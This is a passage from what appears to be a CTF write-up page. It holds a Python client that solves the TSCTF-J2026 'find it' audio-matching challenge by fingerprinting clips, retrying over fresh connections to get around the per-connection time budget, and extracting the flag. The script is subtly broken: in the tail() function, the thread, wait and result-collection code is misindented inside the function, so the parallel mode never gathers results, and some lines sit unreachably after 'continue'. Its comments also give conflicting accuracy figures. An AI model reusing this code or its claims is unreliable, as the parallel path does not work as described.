            with open(out, "w", encoding="utf-8", newline="") as fh:
297
                fh.write(content)
298
            print(f"[+] saved {len(content.encode('utf-8'))} bytes -> {out}")
299
        else:
300
            print(f"[+] {len(content.encode('utf-8'))} bytes:")
301
            print(content)
302
    print(f"[*] done: {ok}/{len(args.files)} read")
303

304

305
if __name__ == "__main__":
306
    try:
307
        main()
308
    except KeyboardInterrupt:
309
        sys.exit(130)

展开收起

findit 逐带 z-score 归一匹配脚本#

1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
"""
4
Answer client for the TSCTF-J2026 "find it" audio challenge.
5

6
Protocol (from the challenge server, verified against its source):
7
    -> "Welcome to TSCTF-J2026! Let's find it."
8
    -> "[Round i/10]"
9
    -> <base64 mp3 of a 5 s clip>          (one newline-terminated line)
10
    -> "> "                                (no newline)
11
    -> we send "<id>_<start>\n"
12
    -> "Correct!" / "Wrong..."
13
    ... and after round 10 the flag if >= 9 correct.
14

15
Hard constraint: the server allows 3.0 s of think time TOTAL across all 10 rounds
16
(`budget = 3.0`, measured from writing the prompt to receiving our reply). A single
17
sequential connection cannot finish: the server itself spends >1 s per round inside
18
ffmpeg. So we open one connection per trial - each gets its own fresh 3.0 s budget -
19
and only need 9 of them to be perfect.
20

21
Answer inference: `<start>` is an integer second and the clip is cut at exactly that
22
second, so the matched window start (rounded) is the answer.
23

24
Usage:
25
  python solve_findit.py --host 127.0.0.1 --port 9999 --workers 12
26
  python solve_findit.py --host <target> --port 9999 --workers 16 --verbose
27
"""
28
from __future__ import annotations
29

30
import argparse
31
import base64
32
import json
33
import re
34
import socket
35
import sys
36
import time
37
from pathlib import Path
38

39
WORKSPACE = Path(__file__).resolve().parent
40
# flag formats: flag{...}, TSCTF{...}, TSCTF-J{...} (the hyphen and the "J" suffix
41
# broke the first two attempts at this pattern), plus a generic *CTF{...}.
42
FLAG_RE = re.compile(
43
    rb"([A-Za-z0-9_]{2,16}(?:-[A-Za-z0-9_]{1,8})?[Cc][Tt][Ff]-?[A-Za-z0-9_]{0,8}\{[^}]*\}"
44
    rb"|flag\{[^}]*\})"
45
)
46

47

48
class Lines:
49
    """Buffered line reader.
50

51
    The server may deliver the welcome banner, the "[Round i/10]" header, the
52
    base64 payload and the "> " prompt in ONE TCP segment, so we must consume
53
    complete lines strictly in order instead of scanning ahead for the prompt.
54
    """
55

56
    def __init__(self, sock: socket.socket, timeout: float = 30.0):
57
        self.sock = sock
58
        self.buf = b""
59
        self.sock.settimeout(timeout)
60

61
    def line(self) -> bytes | None:
62
        """Next complete line (without the newline), or None on EOF."""
63
        while b"\n" not in self.buf:
64
            chunk = self.sock.recv(65536)
65
            if not chunk:
66
                return None
67
            self.buf += chunk
68
        line, self.buf = self.buf.split(b"\n", 1)
69
        return line
70

71
    def drop_prompt(self) -> None:
72
        """Consume a '> ' prompt that is still buffered (non-blocking)."""
73
        if b"> " in self.buf:
74
            self.buf = self.buf.replace(b"> ", b"", 1)
75

76
    def get_round(self) -> tuple[bytes | None, bytes | None]:
77
        """Read the next round header and its base64 payload, in order.
78

79
        Everything before the payload (welcome banner, blank lines) is discarded
80
        line by line, which keeps the ordering safe whether the server sends one
81
        segment or several. A trailing '> ' prompt is dropped if already buffered.
82
        """
83
        header: bytes | None = None
84
        for _ in range(8):
85
            ln = self.line()
86
            if ln is None:
87
                return header, None
88
            if b"[Round" in ln:
89
                header = ln
90
                break
91
        if header is None:
92
            return None, None
93
        for _ in range(8):
94
            ln = self.line()
95
            if ln is None:
96
                return header, None
97
            if _is_payload(ln):
98
                self.drop_prompt()
99
                return header, ln
100
        return header, None
101

102

103
def _is_payload(ln: bytes) -> bool:
104
    """True when `ln` is a base64 blob (and not a header / verdict / prompt)."""
105
    if len(ln) < 256 or ln.startswith(b"["):
106
        return False
107
    try:
108
        base64.b64decode(ln, validate=True)
109
    except Exception:
110
        return False
111
    return True
112

113

114
def _connect(host: str, port: int, use_ssl: bool, sni: str | None) -> socket.socket:
115
    """Plain or TLS-wrapped connection. The remote instance is served over TLS on
116
    443 with SNI, so certificate verification uses the SNI host name."""
117
    raw = socket.create_connection((host, port), timeout=30.0)
118
    if not use_ssl:
119
        return raw
120
    import ssl
121
    ctx = ssl.create_default_context()
122
    server_hostname = sni or host
123
    try:
124
        return ctx.wrap_socket(raw, server_hostname=server_hostname)
125
    except ssl.SSLError:
126
        # some CTF endpoints present a self-signed certificate
127
        try:
128
            raw.close()
129
        except OSError:
130
            pass
131
        raw = socket.create_connection((host, port), timeout=30.0)
132
        ctx = ssl._create_unverified_context()
133
        return ctx.wrap_socket(raw, server_hostname=server_hostname)
134

135

136
def run_worker(host: str, port: int, worker_id: int, args: dict,
137
               matcher=None) -> dict:
138
    """One worker = a sequence of attempts, each on a fresh connection.
139

140
    Per-round accuracy is ~85-95 % with the z-scored front-end, but the threshold is
141
    9/10, so a single attempt still fails sometimes. Every fresh connection gets its
142
    OWN 3.0 s budget and its own random rounds, so a failed attempt is simply retried
143
    on a new connection.
144

145
    `matcher` may be passed in so sequential mode builds the ~700 MiB coarse index
146
    once instead of once per worker.
147
    """
148
    sys.path.insert(0, str(WORKSPACE))
149

150
    max_attempts = int(args.get("attempts", 1))
151
    if matcher is None:
152
        from challenge_fastmatch import LogMelMatcher
153
        matcher = LogMelMatcher(verbose=False)
154
    overall = {"worker": worker_id, "correct": 0, "rounds": 0, "flag": None,
155
               "error": None, "latencies": [], "attempts": 0, "best": 0}
156

157
    for attempt in range(1, max_attempts + 1):
158
        if max_attempts > 1:
159
            print(f"[w{worker_id:02d}] === attempt {attempt}/{max_attempts} "
160
                  f"(fresh connection, new 3 s budget) ===", flush=True)
161
        res = _one_attempt(matcher, host, port, worker_id, args)
162
        overall["attempts"] = attempt
163
        overall["rounds"] += res["rounds"]
164
        overall["latencies"] += res["latencies"]
165
        overall["best"] = max(overall["best"], res["correct"])
166
        if res["flag"]:
167
            overall["flag"] = res["flag"]
168
            overall["correct"] = res["correct"]
169
            return overall
170
        if res["error"] and res["rounds"] == 0 and attempt < max_attempts:
171
            time.sleep(0.3)
172
            continue
173
        if attempt < max_attempts:
174
            print(f"  [w{worker_id:02d}] attempt {attempt}: {res['correct']}/10 - retrying",
175
                  flush=True)
176
    overall["correct"] = overall["best"]
177
    if overall["best"] < 9:
178
        overall["error"] = overall["error"] or f"best {overall['best']}/10 over {overall['attempts']} attempts"
179
    return overall
180

181

182
def _one_attempt(matcher, host: str, port: int, worker_id: int, args: dict) -> dict:
183
    res = {"worker": worker_id, "correct": 0, "rounds": 0, "flag": None,
184
           "error": None, "latencies": []}
185

186
    sock = None
187
    try:
188
        sock = _connect(host, port, bool(args.get("ssl")), args.get("sni"))
189
    except Exception as exc:
190
        res["error"] = f"connect: {exc}"
191
        return res
192

193
    lines = Lines(sock, timeout=30.0)
194
    verbose = bool(args.get("verbose"))
195
    try:
196
        # The welcome banner, round header, payload and "> " prompt usually arrive in
197
        # ONE segment, so get_round() handles them in order and the prompt is dropped
198
        # if it is already buffered - never block waiting for it before answering.
199
        while res["rounds"] < 10:
200
            head, payload = lines.get_round()
201
            if head is None or payload is None:
202
                res["error"] = res["error"] or "connection closed before a full round"
203
                break
204

205
            t0 = time.perf_counter()
206
            ranked, info = matcher.match_b64(payload.decode("ascii"))
207
            track, start, score, shift = ranked[0]
208
            answer = f"{track}_{start}"
209
            sock.sendall((answer + b"\n").encode() if isinstance(answer, bytes)
210
                         else (answer + "\n").encode())
211
            dt = time.perf_counter() - t0
212
            res["latencies"].append(dt)
213
            res["rounds"] += 1
214

215
            print(f"  [w{worker_id:02d} r{res['rounds']:2d}] {dt*1000:6.0f} ms -> "
216
                  f"ans={answer}  score={score:.4f}  shift={shift:+d}"
217
                  + (f"  margin={ranked[0][2]-ranked[1][2]:+.4f}"
218
                     f"  runner-up={ranked[1][0]}" if len(ranked) > 1 else ""),
219
                  flush=True)
220

221
            verdict = lines.line() or b""
222
            if b"Correct!" in verdict:
223
                res["correct"] += 1
224
                print(f"  [w{worker_id:02d} r{res['rounds']:2d}] -> Correct!  "
225
                      f"({res['correct']}/{res['rounds']})", flush=True)
226
            else:
227
                print(f"  [w{worker_id:02d} r{res['rounds']:2d}] -> Wrong... "
228
                      f"({res['correct']}/{res['rounds']})", flush=True)
229
            m = FLAG_RE.search(verdict)
230
            if m:
231
                res["flag"] = m.group(1).decode()
232
                return res
233
            if b"Fail..." in verdict:
234
                return res
235

236
        # after round 10 the flag arrives on its own line
237
        tail_all = b""
238
        for _ in range(5):
239
            tail = lines.line()
240
            if tail is None:
241
                break
242
            tail_all += tail + b"\n"
243
            m = FLAG_RE.search(tail)
244
            if m:
245
                res["flag"] = m.group(1).decode()
246
                return res
247
            if b"Fail..." in tail:
248
                break
249
        res["error"] = f"no flag; tail={tail_all[:200]!r}"
250
        return res
251
    except Exception as exc:
252
        res["error"] = f"{type(exc).__name__}: {exc}"
253
        return res
254
    finally:
255
        try:
256
            sock.close()
257
        except OSError:
258
            pass
259

260

261
def main() -> int:
262
    ap = argparse.ArgumentParser(description="solve the find-it audio challenge")
263
    ap.add_argument("--host", default="127.0.0.1")
264
    ap.add_argument("--port", type=int, default=9999)
265
    ap.add_argument("--ssl", action="store_true", help="wrap the connection in TLS")
266
    ap.add_argument("--sni", default=None, help="TLS SNI / certificate host name")
267
    ap.add_argument("--workers", type=int, default=6,
268
                    help="parallel connections. Keep this modest: stress testing showed a "
269
                         "single-threaded server only serves ~9 concurrent clients, and the "
270
                         "rest get queued until their 3 s budget expires. Prefer attempts.")
271
    ap.add_argument("--attempts", type=int, default=8,
272
                    help="max separate connections per worker (each gets a fresh 3 s budget). "
273
                         "Per-round accuracy is ~75-80 %%, so one 10-round attempt usually "
274
                         "falls short of 9/10; retries are what make the solve reliable.")
275
    ap.add_argument("--sequential", action="store_true",
276
                    help="one connection at a time (retry after retry) instead of N in "
277
                         "parallel. Gentlest on the server and by far the easiest output "
278
                         "to follow; the coarse index is built once and reused.")
279
    ap.add_argument("--verbose", action="store_true",
280
                    help="kept for compatibility; per-round detail is always shown")
281
    ap.add_argument("--no-pause", action="store_true",
282
                    help="do not wait for Enter before exiting (pause is automatic when "
283
                         "stdin is a terminal, and skipped when output is piped)")
284
    ap.add_argument("--worker-id", type=int, default=None,
285
                    help="internal: run a single worker and exit")
286
    ap.add_argument("--log-dir", default=str(WORKSPACE / "findit" / "_solver_logs"))
287
    args = ap.parse_args()
288

289
    sys.path.insert(0, str(WORKSPACE))
290

291
    if args.worker_id is not None:
292
        r = run_worker(args.host, args.port, args.worker_id,
293
                       {"verbose": args.verbose, "attempts": args.attempts,
294
                        "ssl": args.ssl, "sni": args.sni})
295
        print("RESULT " + json.dumps(r), flush=True)
296
        return 0
297

298
    from challenge_fastmatch import LogMelMatcher
299

300
    t0 = time.perf_counter()
301
    warm = LogMelMatcher(verbose=False)
302
    warm.build(52)                       # pre-build the coarse index once
303
    print(f"matcher ready in {time.perf_counter()-t0:.2f}s: {len(warm.ids)} tracks, "
304
          f"{warm.lib_c.shape[0]} coarse windows")
305
    del warm
306

307
    n = max(1, args.workers)
308
    log_dir = Path(args.log_dir)
309
    log_dir.mkdir(parents=True, exist_ok=True)
310
    results: list[dict] = []
311

312
    # ---- sequential mode: one connection at a time, retry after retry ----------
313
    # Gentlest on the server and the easiest output to read; the coarse index is
314
    # built once and reused by every worker instead of once per worker.
315
    if args.sequential or n == 1:
316
        from challenge_fastmatch import LogMelMatcher
317
        shared = LogMelMatcher(verbose=False)
318
        print(f"sequential mode: 1 connection at a time, up to {args.attempts} "
319
              f"attempts per worker, {n} worker(s)")
320
        for i in range(n):
321
            r = run_worker(args.host, args.port, i,
322
                           {"verbose": True, "attempts": args.attempts,
323
                            "ssl": args.ssl, "sni": args.sni}, matcher=shared)
324
            results.append(r)
325
            if r.get("flag"):
326
                print(f"\nflag captured by worker {i}; stopping early")
327
                break
328
        print()
329
        return _report(results, args)
330

331
    print(f"opening {n} connections to {args.host}:{args.port} ...")
332

333
    # NOTE: one subprocess per connection, with stdout redirected to a file.
334
    # multiprocessing.Pool / any piped stdio is unusable in this sandbox
335
    # (WinError 5 on named pipes), so results are exchanged through log files and
336
    # each worker's output is tailed back to the console by a thread.
337
    import subprocess as sp
338
    import threading
339
    procs = []
340
    for i in range(n):
341
        log = log_dir / f"worker_{i:02d}.log"
342
        cmd = [sys.executable, str(Path(__file__).resolve()),
343
               "--host", args.host, "--port", str(args.port),
344
               "--worker-id", str(i), "--log-dir", str(log_dir),
345
               "--attempts", str(args.attempts)]
346
        if args.ssl:
347
            cmd.append("--ssl")
348
        if args.sni:
349
            cmd += ["--sni", args.sni]
350
        # every worker streams its per-round detail
351
        cmd.append("--verbose")
352
        fh = log.open("w", encoding="utf-8", errors="replace")
353
        procs.append((i, sp.Popen(cmd, stdout=fh, stderr=sp.STDOUT, stdin=sp.DEVNULL,
354
                                  cwd=str(WORKSPACE)), fh, log))
355

356
    print(f"spawned {len(procs)} workers, streaming their progress below "
357
          f"(logs also in {log_dir})\n")
358

359
    def tail(idx: int, path: Path, proc) -> None:
360
        """Echo a worker's log lines to the console as they are written."""
361
        with path.open("r", encoding="utf-8", errors="replace") as f:
362
            while True:
363
                chunk = f.readline()
364
                if not chunk:
365
                    if proc.poll() is not None:
366
                        rest = f.read()
367
                        if rest:
368
                            for ln in rest.splitlines():
369
                                if not ln.startswith("RESULT "):
370
                                    print(ln, flush=True)
371
                        return
372
                    time.sleep(0.05)
373
                    continue
374
                    ln = chunk.rstrip("\n")
375
                    if ln.startswith("RESULT "):
376
                        continue          # summary line, reported in the table
377
                    if ln.strip():
378
                        print(ln, flush=True)
379

380
        threads = [threading.Thread(target=tail, args=(i, log, p), daemon=True)
381
                   for i, p, fh, log in procs]
382
        for t in threads:
383
            t.start()
384
        # block on each process (no busy polling), then let its tail thread drain
385
        for i, p, fh, log in procs:
386
            p.wait()
387
            fh.close()
388
        for t in threads:
389
            t.join(timeout=5)
390
        print()
391
        for i, p, fh, log in procs:
392
            rec = None
393
            for line in log.read_text(encoding="utf-8", errors="replace").splitlines():
394
                if line.startswith("RESULT "):
395
                    try:
396
                        rec = json.loads(line[len("RESULT "):])
397
                    except json.JSONDecodeError:
398
                        rec = None
399
            if rec is None:
400
                rec = {"worker": i, "correct": 0, "rounds": 0, "flag": None,
401
                       "error": f"no RESULT line (see {log})", "latencies": []}
402
            results.append(rec)
403

404
    return _report(results, args)
405

406

407
def _report(results: list[dict], args) -> int:
408
    """Print the per-worker table and the flag, then hold the window open."""
409
    print("\n=== results ===")
410
    flags: list[str] = []
411
    for r in results:
412
        lat = sorted(r["latencies"])
413
        med = f"{lat[len(lat)//2]*1000:.0f} ms" if lat else "-"
414
        err = f"   ERROR: {r['error']}" if r.get("error") else ""
415
        aten = f" over {r.get('attempts', 1)} attempt(s)" if r.get("attempts", 1) > 1 else ""
416
        print(f"  worker {r['worker']:2d}: {r['correct']}/10 correct "
417
              f"({r['rounds']} rounds answered, median {med}){aten}{err}")
418
        if r.get("flag"):
419
            flags.append(r["flag"])
420

421
    passing = sum(1 for r in results if r["correct"] >= 9)
422
    print(f"\nconnections with >=9 correct: {passing}/{len(results)}")
423

424
    if flags:
425
        flag = flags[0]
426
        bar = "=" * (len(flag) + 8)
427
        print(f"\n{bar}\n=== FLAG: {flag} ===\n{bar}")
428
        _hold(args)
429
        return 0
430

431
    print("\nno flag; raise --workers or --attempts and rerun")
432
    _hold(args)
433
    return 1
434

435

436
def _hold(args) -> None:
437
    """Keep the terminal open so the flag stays readable.
438

439
    The window vanishing the moment the script ends is the usual reason a solved
440
    flag is never seen. We only pause when BOTH stdin and stdout are terminals:
441
    checking stdin alone is not enough, because `python solve.py | Select-Object`
442
    still leaves stdin attached to the console and would block automation. Passing
443
    --no-pause, redirecting output, or running as a worker child skips the wait.
444
    """
445
    if getattr(args, "no_pause", False) or getattr(args, "worker_id", None) is not None:
446
        return
447

448
    def is_tty(stream) -> bool:
449
        try:
450
            return stream is not None and stream.isatty()
451
        except (ValueError, OSError):
452
            return False
453

454
    if not (is_tty(sys.stdin) and is_tty(sys.stdout)):
455
        return
456
    try:
457
        input("\n[按 Enter 关闭窗口 / press Enter to exit] ")
458
    except (EOFError, KeyboardInterrupt):
459
        print()
460

461

462
if __name__ == "__main__":
463
    raise SystemExit(main())

展开收起

使用方法：

Terminal window

1
./solve_findit.py --host "4476385768724654364d6d74583167727236316339-p9999.chal.buptmerak.cn" --port 443 --ssl --sni "4476385768724654364d6d74583167727236316339-p9999.chal.buptmerak.cn" --sequential --workers 1